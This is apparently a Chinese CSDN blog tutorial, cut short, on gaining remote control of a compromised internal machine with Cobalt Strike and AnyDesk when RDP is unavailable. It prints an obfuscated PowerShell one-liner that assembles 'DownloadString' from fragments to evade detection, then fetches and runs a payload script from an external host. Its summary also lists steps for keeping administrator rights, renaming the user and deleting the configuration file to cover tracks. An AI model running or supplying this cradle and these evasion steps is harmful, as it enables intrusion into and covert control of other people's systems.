如何使用anydesk进行远程控制？进来长知识

最新推荐文章于 2024-04-26 14:32:11 发布

白面安全猿

最新推荐文章于 2024-04-26 14:32:11 发布

阅读量4.8k

点赞数 1

文章标签：系统安全 web安全安全安全架构

本文链接：https://blog.csdn.net/MSB_WLAQ/article/details/120657886

版权

本文介绍了在内网渗透中，当3389端口不可用时，如何利用Cobalt Strike配合AnyDesk进行远程控制。详细步骤包括：上线cs、下载并配置AnyDesk、生成配置文件并上传、注意事项，如保持管理员权限、更改用户名称、删除配置文件等。

摘要由CSDN通过智能技术生成

在进行内网渗透的时候，如果目标机器出网，但是有时候目标3389端口未开放也就表示我们无法使用远程桌面进行连接。但是依然有很多第三方远程控制软件可以帮助我们，例如Teamviewer或者AnyDesk。

本片文章我们将使用Cobalt Strike配合AnyDesk进行演示。

这里我们使用powershell上线，首先我们使用Payload Generator生成一个ps1脚本

然后在目标机器上执行：(使用管理员权限执行)

powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='11(''https://www.xxxx.tk:8443/payload.ps1'')'.Replace('11','adString');IEX ($a+$b)"

可以看到上线成功

关注